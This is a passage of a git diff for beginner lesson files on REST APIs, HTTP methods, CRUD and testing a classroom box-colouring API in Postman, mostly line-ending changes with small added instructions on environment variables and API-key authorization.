-There's also data APIs that make authenticated access to all kinds of data easy! If we wanted to get a bunch of real-time data on the weather, we could use the OpenWeatherMap API.
-
-
-
-
-
-**RESTful APIs** allow programs to communicate with each other using **HTTP** (Hypertext Transfer Protocol) Requests
-
-
-
-Any http link you see is a link between the webpage and server.
-
-The RESTful API uses HTTP to get , create, delete, or update data
-
-
-
-For example, http://google.com is a request, and when you visit it, what you see on your browser when the page loads is the response
-
-
-
-When you visit a webpage, you send an http request to an endpoint.
-
-Endpoints are the receiving end of all your API requests. It takes a request + data and returns a response.
-
-Endpoints will always return a status code (and possibly data depending on which http request it received)
-
-
-
-In a fast food restaurant drive-thru, you (the customer) orders a meal. The cook (the endpoint) takes your order (the http request) and returns the meal you ordered (the data returned) as well as a message of how things went, whether the order was processed correctly or "sorry, our ice cream machine broke" (status code).
-
+
+
+We are going to learn what an API is and why developers use them all the time!
+
+APIs are the online doors that allow people to interact with each other without knowing what's inside
+
+In computer terms, APIs allow programs to interact with each other without exposing source code
+
+
+
+They are useful because they allow faster development
+
+You don't have to build everything from scratch, since someone else already did it for you!
+
+An example is the Pusher API that allows you to get real time notifications on your phone, which if you had to do from scratch would take much longer!
+
+
+
+
+
+There's also data APIs that make authenticated access to all kinds of data easy! If we wanted to get a bunch of real-time data on the weather, we could use the OpenWeatherMap API.
+
+
+
+
+
+**RESTful APIs** allow programs to communicate with each other using **HTTP** (Hypertext Transfer Protocol) Requests
+
+
+
+Any http link you see is a link between the webpage and server.
+
+The RESTful API uses HTTP to get , create, delete, or update data
+
+
+
+For example, http://google.com is a request, and when you visit it, what you see on your browser when the page loads is the response
+
+
+
+When you visit a webpage, you send an http request to an endpoint.
+
+Endpoints are the receiving end of all your API requests. It takes a request + data and returns a response.
+
+Endpoints will always return a status code (and possibly data depending on which http request it received)
+
+
+
+In a fast food restaurant drive-thru, you (the customer) orders a meal. The cook (the endpoint) takes your order (the http request) and returns the meal you ordered (the data returned) as well as a message of how things went, whether the order was processed correctly or "sorry, our ice cream machine broke" (status code).
+

\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/2.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/2.md
index 2bcfec86..5b3126a2 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/2.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/2.md
@@ -1,33 +1,33 @@
-
-
-cURL is a command-line tool for getting or sending data including files using URL syntax.
-
-We use a GET request when we want to **query a collection of data** or a **specific piece of data**
-
-GET requests return a data object (usually in JSON) and a 200 status code
-
-```
-curl --location --request GET "https://bitbloxs.herokuapp.com/boxes?api_key=thisistheapikey"
-```
-
-POST requests are **used to send data** to the server. It creates a new object.
-
-- You are “posting” data to the API
-- POST requests generally don’t return data, just a 200 status code
-
-```
-curl --location --request POST "https://bitbloxs.herokuapp.com/change/23/yellow?api_key=thisistheapikey"
-```
-
-A PUT request is **used to change existing data**
-
-```
-curl --location --request PUT "https://bitbloxs.herokuapp.com/change/23/blue?api_key=thisistheapikey"
-```
-
-A DELETE method is **used to delete existing data**
-
-```
-curl --location --request DELETE "https://bitbloxs.herokuapp.com/delete/23?api_key=thisistheapikey"
-```
-
+
+
+cURL is a command-line tool for getting or sending data including files using URL syntax.
+
+We use a GET request when we want to **query a collection of data** or a **specific piece of data**
+
+GET requests return a data object (usually in JSON) and a 200 status code
+
+```
+curl --location --request GET "https://bitbloxs.herokuapp.com/boxes?api_key=thisistheapikey"
+```
+
+POST requests are **used to send data** to the server. It creates a new object.
+
+- You are “posting” data to the API
+- POST requests generally don’t return data, just a 200 status code
+
+```
+curl --location --request POST "https://bitbloxs.herokuapp.com/change/23/yellow?api_key=thisistheapikey"
+```
+
+A PUT request is **used to change existing data**
+
+```
+curl --location --request PUT "https://bitbloxs.herokuapp.com/change/23/blue?api_key=thisistheapikey"
+```
+
+A DELETE method is **used to delete existing data**
+
+```
+curl --location --request DELETE "https://bitbloxs.herokuapp.com/delete/23?api_key=thisistheapikey"
+```
+
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/3.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/3.md
index 0a980fca..37f8b692 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/3.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/3.md
@@ -1,33 +1,22 @@
-
-
-Postman is a collaboration platform for API development.
-
-Makes testing APIs super simple!
-
-
-
-Let's use Postman to test what this route `https://jsonplaceholder.typicode.com/todos/1` currently returns to the client.
-
-On "Enter request url", copy and paste our route https://jsonplaceholder.typicode.com/todos/1 so Postman know which route to send our request to.
-
-
-
-
-
-
-
-Click Send, and you should see the JSON data we get back through the response body as well as the **status code** (a code of 200 means a success!)
-
-
-
-
-
-
-
-We just tested what the route does for a GET request!
-
-If we wanted to test for POST, PUT, and DELETE, we would have to change the Request Type
-
-
-
-Postman also supports authentication, an important aspect for many APIs.
\ No newline at end of file
+
+
+Postman is a collaboration platform for API development.
+
+Makes testing APIs super simple!
+
+
+Let's use Postman to test what this route `https://jsonplaceholder.typicode.com/todos/1` currently returns to the client.
+
+
+Open up Postman and click on "Create a request" from the Launchpad.
+
+On "Enter request url", copy and paste our route https://jsonplaceholder.typicode.com/todos/1 so Postman know which route to send our request to.
+
+Click Send, and you should see the JSON data we get back through the response body as well as the **status code** (a code of 200 means a success!)
+
+
+We just tested what the route does for a GET request!
+
+If we wanted to test for POST, PUT, and DELETE, we would have to change the Request Type
+
+Postman also supports authentication, an important aspect for many APIs.
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/4.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/4.md
index e3fdb402..4f96e8be 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/4.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/4.md
@@ -1,29 +1,31 @@
-
-
-Many API's require an **API key**, a unique code for each client (including us) to use their API!
-
-An example looks like this `0imfnc8mVLWwsAawjYr4Rx-Af50DDqtlx` (Note: this api key refers to nothing).
-
-They look like a jumble of characters to make it hard to guess, like a secure password, but we must not expose it to the world or else someone may use the API and abuse it under your identity (a very bad thing for you and the API owner)!
-
-
-
-Postman supports API authentication, too! Let's say our API key is `0imfnc8mVLWwsAawjYr4Rx-Af50DDqtlx` and we want to include it in our **http request**.
-
-
-
-In Postman, click on the Authorization tab.
-
-
-
-
-
-By default, no authorization is used. Under TYPE, change "No Auth" to "API key" to let Postman know that we have an API key we want to include in our request.
-
-For the value parameter, copy and paste our API key `0imfnc8mVLWwsAawjYr4Rx-Af50DDqtlx`. Now, each click to the Send button adds this api_key as part of the request.
-
-
-
-
-
+
+
+Many API's require an **API key**, a unique code for each client (including us) to use their API!
+
+An example looks like this `0imfnc8mVLWwsAawjYr4Rx-Af50DDqtlx` (Note: this api key refers to nothing).
+
+They look like a jumble of characters to make it hard to guess, like a secure password, but we must not expose it to the world or else someone may use the API and abuse it under your identity (a very bad thing for you and the API owner)!
+
+
+
+Postman supports API authentication, too! Let's say our API key is `0imfnc8mVLWwsAawjYr4Rx-Af50DDqtlx` and we want to include it in our **http request**.
+
+
+
+In Postman, click on the Authorization tab.
+
+
+
+
+
+By default, no authorization is used. Under TYPE, change "No Auth" to "API key" to let Postman know that we have an API key we want to include in our request.
+
+In the key parameter type in "api_key" to declare the name our of API key.
+
+For the value parameter, copy and paste our API key `0imfnc8mVLWwsAawjYr4Rx-Af50DDqtlx`. Now, each click to the Send button adds this api_key as part of the request.
+
+
+
+
+
That's it! We can test endpoints using an API Key now.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/api.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/api.md
index 6f59c982..c4fe8a05 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/api.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/api.md
@@ -1,7 +1,7 @@
-# API
-
-Application Programming Interface (API) is a set of functions and procedures that allow applications to access the contents of another developer's server.
-
-They let servers communicate with each other and transfer data securely back and forth.
-
+# API
+
+Application Programming Interface (API) is a set of functions and procedures that allow applications to access the contents of another developer's server.
+
+They let servers communicate with each other and transfer data securely back and forth.
+
Exposing source code to a third-party server is dangerous and could compromise the entire server providing the access, so APIs allow authentication keys to ensure safe transfer.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/client.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/client.md
index 7351d649..649b236f 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/client.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/client.md
@@ -1,3 +1,3 @@
-# client
-
+# client
+
The client of a server or website is the web browser viewing it. They send http requests to the server under the assumption that the server is functioning well and will return the requested page based on the URL.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/crud.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/crud.md
index 4e2674f6..bf0c3f76 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/crud.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/crud.md
@@ -1,19 +1,19 @@
-# CRUD
-
-Many servers need to store data persistently. When dealing with persistent data storage, they generally need to be able to allow four basic operations to be performed.
-
-- **C**reate data in the server
-- **R**etrieve data from the server
-- **U**pdate and replace existing data in the server
-- **D**elete data from the server
-
-These operations can be used in SQL (Structured Query Language), HTTP (Hypertext Transfer Protocol), RESTful API (Representational State Transfer), and DDS (Data Distribution)
-
-| Operation | SQL | HTTP | RESTful API | DDS |
-| ---------------- | ------ | -------------- | ----------- | --------- |
-| Create | Insert | Put/Post | Post | Write |
-| Read (Retrieve) | Select | Get | Get | Read/Take |
-| Update (Modify) | Update | Put/Post/Patch | Put | Write |
-| Delete (Destroy) | Delete | Delete | Delete | Dispose |
-
+# CRUD
+
+Many servers need to store data persistently. When dealing with persistent data storage, they generally need to be able to allow four basic operations to be performed.
+
+- **C**reate data in the server
+- **R**etrieve data from the server
+- **U**pdate and replace existing data in the server
+- **D**elete data from the server
+
+These operations can be used in SQL (Structured Query Language), HTTP (Hypertext Transfer Protocol), RESTful API (Representational State Transfer), and DDS (Data Distribution)
+
+| Operation | SQL | HTTP | RESTful API | DDS |
+| ---------------- | ------ | -------------- | ----------- | --------- |
+| Create | Insert | Put/Post | Post | Write |
+| Read (Retrieve) | Select | Get | Get | Read/Take |
+| Update (Modify) | Update | Put/Post/Patch | Put | Write |
+| Delete (Destroy) | Delete | Delete | Delete | Dispose |
+
Without these four operations, the software is not considered complete.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/delete.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/delete.md
index e983e813..f3b7d399 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/delete.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/delete.md
@@ -1,5 +1,5 @@
-# DELETE Request
-
-A DELETE request is used to remove a specific object that already exists in the database. You would usually use this request when you no longer need a specific instance of an object in your database.
-
-Lets say that we no longer need the movie Thor in our database. In order to get rid of the movie, we would send a DELETE request to delete Thor. After that request, Thor will no longer exist in our database.
+# DELETE Request
+
+A DELETE request is used to remove a specific object that already exists in the database. You would usually use this request when you no longer need a specific instance of an object in your database.
+
+Lets say that we no longer need the movie Thor in our database. In order to get rid of the movie, we would send a DELETE request to delete Thor. After that request, Thor will no longer exist in our database.
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/endpoint.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/endpoint.md
index 26878758..8dc6acb4 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/endpoint.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/endpoint.md
@@ -1,6 +1,6 @@
-# Endpoint
-
-An endpoint is the URL where your service can be accessed by a client
-application.
-
+# Endpoint
+
+An endpoint is the URL where your service can be accessed by a client
+application.
+
If application A wants to reach application B's data stored in a page called data, they would send a GET request to `/data`
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/httprequest.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/httprequest.md
index ee58ee66..cc201096 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/httprequest.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/httprequest.md
@@ -1,8 +1,8 @@
-# http request
-
-To allow clients to perform CRUD operations on the server, there are four basic HTTP requests, including
-
-1. **POST** - **C**reate data in the server
-2. **GET** - **R**etrieve data from the server
-3. **PUT** - **U**pdate and replace existing data in the server
+# http request
+
+To allow clients to perform CRUD operations on the server, there are four basic HTTP requests, including
+
+1. **POST** - **C**reate data in the server
+2. **GET** - **R**etrieve data from the server
+3. **PUT** - **U**pdate and replace existing data in the server
4. **DELETE** - **D**elete data from the server
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/restapi.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/restapi.md
index c8d6544f..06a121bc 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/restapi.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/restapi.md
@@ -1,9 +1,9 @@
-# REST API
-
-Representational State Transfer
-
-Servers implement some form of REST API to allow http requests to carry through their routes and send back an appropriate status code.
-
-It is the black box that clients utilize to browse the web
-
+# REST API
+
+Representational State Transfer
+
+Servers implement some form of REST API to allow http requests to carry through their routes and send back an appropriate status code.
+
+It is the black box that clients utilize to browse the web
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/url.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/url.md
index 885c97e5..bf43829e 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/url.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/Concepts/url.md
@@ -1,21 +1,21 @@
-
-
-# URL Components
-
-When you see a URL, such as "http://www.example.com:88/home?item=book", it's comprised of several components. We can break this URL into 5 parts:
-
-- `http`: The **scheme**. It always comes before the colon and two forward slashes and tells the web client how to access the resource. In this case it tells the web client to use the Hypertext Transfer Protocol or HTTP to make a request. Other popular URL schemes are `ftp`, `mailto` or `git`.
-- `www.example.com`: The **host**. It tells the client where the resource is hosted or located.
-- `:88` : The **port** or port number. It is only required if you want to use a port other than the default.
-- `/home/`: The **path**. It shows what local resource is being requested. This part of the URL is optional.
-- `?item=book` : The **query string**, which is made up of **query parameters**. It is used to send data to the server. This part of the URL is also optional.
-
-
-
-
-
-
-
-Sometimes, the path can point to a specific resource on the host. For instance, [www.example.com/home/index.html](http://www.example.com/home/index.html) points to an HTML file located on the example.com server.
-
+
+
+# URL Components
+
+When you see a URL, such as "http://www.example.com:88/home?item=book", it's comprised of several components. We can break this URL into 5 parts:
+
+- `http`: The **scheme**. It always comes before the colon and two forward slashes and tells the web client how to access the resource. In this case it tells the web client to use the Hypertext Transfer Protocol or HTTP to make a request. Other popular URL schemes are `ftp`, `mailto` or `git`.
+- `www.example.com`: The **host**. It tells the client where the resource is hosted or located.
+- `:88` : The **port** or port number. It is only required if you want to use a port other than the default.
+- `/home/`: The **path**. It shows what local resource is being requested. This part of the URL is optional.
+- `?item=book` : The **query string**, which is made up of **query parameters**. It is used to send data to the server. This part of the URL is also optional.
+
+
+
+
+
+
+
+Sometimes, the path can point to a specific resource on the host. For instance, [www.example.com/home/index.html](http://www.example.com/home/index.html) points to an HTML file located on the example.com server.
+
Sometimes, we may want to include a port number which the host uses to listen to HTTP requests. A URL in the form of: http://localhost:3000/profile is using the port number `3000` to listen to HTTP requests. The default port number for HTTP is port `80`. Even though this port number is not always specified, it's assumed to be part of every URL. **Unless a different port number is specified, port `80` will be used by default in normal HTTP requests.** To use anything other than the default, one has to specify it in the URL.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/git.keep b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/git.keep
similarity index 100%
rename from Module_Twitter_API/activities/git.keep
rename to Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/git.keep
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/.DS_Store b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/.DS_Store
new file mode 100644
index 00000000..d7fd20db
Binary files /dev/null and b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/.DS_Store differ
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/10.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/10.md
index 3b92494b..b7155a27 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/10.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/10.md
@@ -1,8 +1,8 @@
-# DEL Request
-
-Last but not least, there is also a request for clearing the color of the box.
-
-
-
-Replace ``, and send out a request to watch the color of the box changes!
-
+# DEL Request
+
+Last but not least, there is also a request for clearing the color of the box.
+
+
+
+Replace ``, and send out a request to watch the color of the box changes!
+
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/2.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/2.md
index b1c50787..3b23a9b6 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/2.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/2.md
@@ -8,7 +8,7 @@ To play the game, we need to figure out a way to send HTTP requests. One way to
### Get Requests
-We use a GET request when we want to **query a collection of data** or a **specific piece of data**. GET requests return a data object (usually in JSON) and a 200 status code.
+We use a GET request when we want to **query a collection of data** or a **specific piece of data**. GET requests return a data object (usually in JSON) and a 200 status code, the status code that indicates a successful request.
**Note:** GET should only retrieve data and should have no other effects on the collection
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/5.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/5.md
index 2a2d2e5c..727bb0e7 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/5.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/5.md
@@ -1,21 +1,23 @@
-## Environment Variables
-
-Now let's set up some environment variables for our requests:
-
-
-
-Click on the gear button:
-
-
-
-Then, click on the `add` button to create an environment.
-
-
-
-Then, you want to create two variables, `url`, and `api_key`.
-
-- `url` is the link of the website you are sending your requests to, in our case, `https://bitbloxs.herokuapp.com/`.
-- `api_key` is the key that allows us to access the api. Our API key is thisistheapikey.
-
-Now that we have these variables set up. We are able to use them in all of our requests!
-
+## Environment Variables
+
+Now let's set up some **environment variables** for our requests. **Environments** allow for easy switching between development and production servers. They let you customize requests using **variables** so you can easily switch between different setups without changing your requests.
+
+
+
+Click on the gear button:
+
+
+
+Then, click on the `add` button to create an environment.
+
+
+
+Then, you want to create two variables, `url`, and `api_key`.
+
+- `url` is the link of the website you are sending your requests to, in our case, `https://bitbloxs.herokuapp.com/`.
+- `api_key` is the key that allows us to access the api. Our API key is thisistheapikey.
+
+Once the environment varibles are set, make sure to select the environment next to the gear icon.
+
+Now that we have these variables set up. We are able to use them in all of our requests!
+
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/6.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/6.md
index 69b94252..67bde516 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/6.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/6.md
@@ -1,17 +1,17 @@
-# GET Request
-
-First, let's create a GET request for retrieving a single box from the website. Click on the collection that you created and add a request.
-
-
-
-After you filled out the request name and request description, you will come to this page:
-
-
-
-Now, fill out the route for this GET request like the following: `{{url}}boxes/`
-
-Since we have 400 boxes, we can replace `` with any number from 1- 400.
-
-Recall that our`url` has the value, `https://bitbloxs.herokuapp.com/`, therefore, in actuality, the request route that we are sending is : `https://bitbloxs.herokuapp.com/boxes/24`.
-
-Try sending out the request now, what would you see?
\ No newline at end of file
+# GET Request
+
+Let's create a GET request for retrieving a single box from the website. Click on the collection that you created and add a request.
+
+
+
+After you filled out the request name and request description, you will come to this page:
+
+
+
+Now, fill out the route for this GET request like the following: `{{url}}boxes/`
+
+Since we have 400 boxes, we can replace `` with any number from 1- 400.
+
+Recall that our`url` has the value, `https://bitbloxs.herokuapp.com/`, therefore, in actuality, the request route that we are sending is : `https://bitbloxs.herokuapp.com/boxes/24`.
+
+Try sending out the request now!
\ No newline at end of file
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/7.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/7.md
index 9fe8f83b..28d6760b 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/7.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/7.md
@@ -1,17 +1,25 @@
-# API Authentication
-
-Now if you attempt to send out the request, you will receive an error message:
-
-```json
-{
- "message": "You are not authenticated, you need an API Key to use this route"
-}
-```
-
-This is because we still need an API key to access the API.
-
-Go to the `Authorization` tab and select the authorization `type` as `API Key`. Then, set the value for `Key`, `Value`, `Add to` as the following. Again, we are using the environment variable that we set up earlier for our purpose.
-
-
-
-Now that our request has all the information that we need! We shall be able to retrieve the value of any box of your choice!
\ No newline at end of file
+# API Authentication
+
+We have one last step to complete setup before we can start sending out requests. We still need an API key to access the API.
+
+Go to the `Authorization` tab and select the authorization `type` as `API Key`.
+
+Set the key paramter as `api_key`.
+
+For the value parameter we will be using the other environment variable that we created earlier. Enter `{{api_key}}` into the value parameter.
+
+For `Add to` parameter, set it as `Query Params`.
+
+
+
+If you attempt to send out a request without authenticating, you will receive an error message:
+
+```json
+{
+ "message": "You are not authenticated, you need an API Key to use this route"
+}
+```
+
+
+
+Now that our request has all the information that we need! We should be able to send any request of our choice!
\ No newline at end of file
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/8.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/8.md
index 9a79967d..2492c398 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/8.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/8.md
@@ -1,18 +1,24 @@
-# POST Request
-
-Now that we are finished with GET request, let's take a look at POST request.
-
-While GET request is for retrieving information, for example, we retrieve the information about box with our GET request POST request is for inserting information.
-
-In this example, we will be coloring white boxes with our POST request.
-
-According to the documentation, https://documenter.getpostman.com/view/4691925/SW15zHJv?version=latest#a633bb6c-c481-497e-8696-72129056398e, the route for changing the color of a box is `https://bitbloxs.herokuapp.com/change//`.
-
-So go ahead and replace `https://bitbloxs.herokuapp.com/` with our environment variable, `url`, replace `` with the box id you want to modify, and replace `` with the color you want to change your box into.
-
-
-
-Don't forget to set the Authorization setting! Otherwise, you are be good to go!
-
-Go ahead and send a request, and watch the box change color!
-
+# POST Request
+
+Now that we are finished with GET request, let's take a look at POST request.
+
+While GET request is for retrieving information, for example, we retrieve the information about box with our GET request POST request is for inserting information.
+
+In this example, we will be coloring white boxes with our POST request.
+
+According to [the documentation]( https://documenter.getpostman.com/view/4691925/SW15zHJv?version=latest#a633bb6c-c481-497e-8696-72129056398e), the route for changing the color of a box is `https://bitbloxs.herokuapp.com/change//`.
+
+So go ahead and replace `https://bitbloxs.herokuapp.com/` with our environment variable, `url`, replace `` with the box ID that you want to modify, and replace `` with the color you want to change your box into.
+
+
+
+Don't forget to set the Authorization setting! Otherwise, you are be good to go!
+
+Go ahead and send a request, and watch the box change color!
+
+If the request does not go through, go to the bottom left and click on the third icon from the left. This is the Postman Console where you can see all of your requests to look for errors.
+
+
+
+
+
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/9.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/9.md
index 40a00889..e82099f4 100644
--- a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/9.md
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/9.md
@@ -1,21 +1,21 @@
-# PUT Request
-
-If while you are sending your POST request, you receive
-
-```json
-{
- "data": "You cannot send a POST request to an already colored tile. You have to use a PUT request."
-}
-```
-
-Then, it is because you are sending a POST request to an already colored tile.
-
-In this activity, we will be using PUT request to update the color of boxes.
-
-According to documentation, the routes for the PUT request is the following: `https://bitbloxs.herokuapp.com/change//`
-
-Go ahead, and set up a PUT request in Postman.
-
-
-
+# PUT Request
+
+If while you are sending your POST request, you receive
+
+```json
+{
+ "data": "You cannot send a POST request to an already colored tile. You have to use a PUT request."
+}
+```
+
+Then, it is because you are sending a POST request to an already colored tile.
+
+In this activity, we will be using PUT request to update the color of boxes.
+
+According to documentation, the routes for the PUT request is the following: `https://bitbloxs.herokuapp.com/change//`
+
+Go ahead, and set up a PUT request in Postman.
+
+
+
Replace `` and ``, and send out a request to watch the color of the box changes!
\ No newline at end of file
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/PUT_request.PNG b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/PUT_request.PNG
new file mode 100644
index 00000000..3fd2c11a
Binary files /dev/null and b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/PUT_request.PNG differ
diff --git a/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/README.md b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/README.md
new file mode 100644
index 00000000..851a3315
--- /dev/null
+++ b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/README.md
@@ -0,0 +1,25 @@
+# Activity/Lab Name
+
+Creating and Testing BitBloxs
+
+# Long Summary
+
+Students will use RESTful API, an application program interface that uses HTTP requests to get, put, post, and delete data through a fun, competitive game of filling in colored tiles on a BitBloxs board.
+
+# Short Summary
+
+Walkthrough of how to use RESTful API to send HTTP requests
+
+# Criteria
+
+1. How do you set up an environment in RESTful API?
+2. What do the HTTP requests GET, PUT, POST, and DEL do?
+3. What are some of the restrictions of certain requests? (Hint: Can you send a post request to a tile that has already been colored?)
+
+# Difficulty
+
+Easy
+
+# Image
+
+
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/Untitled.mdx b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/git 2.keep
similarity index 100%
rename from Module_Twitter_API/activities/Act1_Intro to Twitter API/Untitled.mdx
rename to Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/git 2.keep
diff --git a/Module_Twitter_API/labs/git.keep b/Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/git.keep
similarity index 100%
rename from Module_Twitter_API/labs/git.keep
rename to Module_Postman/activities/Act2_Creating_and_Testing_BitBloxs/git.keep
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/.DS_Store b/Module_Postman/activities/Act3_Creating_Postman_Collections/.DS_Store
new file mode 100644
index 00000000..398f6530
Binary files /dev/null and b/Module_Postman/activities/Act3_Creating_Postman_Collections/.DS_Store differ
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/1.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/1.md
index d8d834ab..3791c121 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/1.md
+++ b/Module_Postman/activities/Act3_Creating_Postman_Collections/1.md
@@ -1,35 +1,35 @@
-
-
-# Creating Collections
-
-**Collections** in Postman allow us to organize our HTTP requests which makes it easier to automate our API testing. They also allow the user to quickly edit their requests. Organized collections adhere to the **DRY Principle**:
-
-* **D**on't
-* **R**epeat
-* **Y**ourself
-
-
-
-To create a collection in Postman, click the **+ New Collection** button toward the top of the Postman window:
-
-
-
-A new window will pop up that will allow you to name your collection and provide a description. Let's walk through an example of making a collection by creating the Color Changer collection.
-
-#### Color Changer Collection:
-
-We are going to create a collection for our requests for the BitBloxs API.
-
-**Steps:**
-
-* Click **+ New Collection**
-* Name the collection **Color Changer**
-* Provide any description you think necessary
-* Click **Create**
-
-On your collection sidebar, you should see the new collection we just created:
-
-
-
-We will be using this collection to learn how to add requests to collections and create documentation for collections.
-
+
+
+# Creating Collections
+
+**Collections** in Postman allow us to organize our HTTP requests which makes it easier to automate our API testing. They also allow the user to quickly edit their requests. Organized collections adhere to the **DRY Principle**:
+
+* **D**on't
+* **R**epeat
+* **Y**ourself
+
+
+
+To create a collection in Postman, click the **+ New Collection** button toward the top of the Postman window:
+
+
+
+A new window will pop up that will allow you to name your collection and provide a description. Let's walk through an example of making a collection by creating the Color Changer collection.
+
+#### Color Changer Collection:
+
+We are going to create a collection for our requests for the BitBloxs API.
+
+**Steps:**
+
+* Click **+ New Collection**
+* Name the collection **Color Changer**
+* Provide any description you think necessary
+* Click **Create**
+
+On your collection sidebar, you should see the new collection we just created:
+
+
+
+We will be using this collection to learn how to add requests to collections and create documentation for collections.
+
diff --git a/Module_Postman/activities/Act3_Creating_Postman_Collections/2.md b/Module_Postman/activities/Act3_Creating_Postman_Collections/2.md
index e54fb0b1..83a730ed 100644
--- a/Module_Postman/activities/Act3_Creating_Postman_Collections/2.md
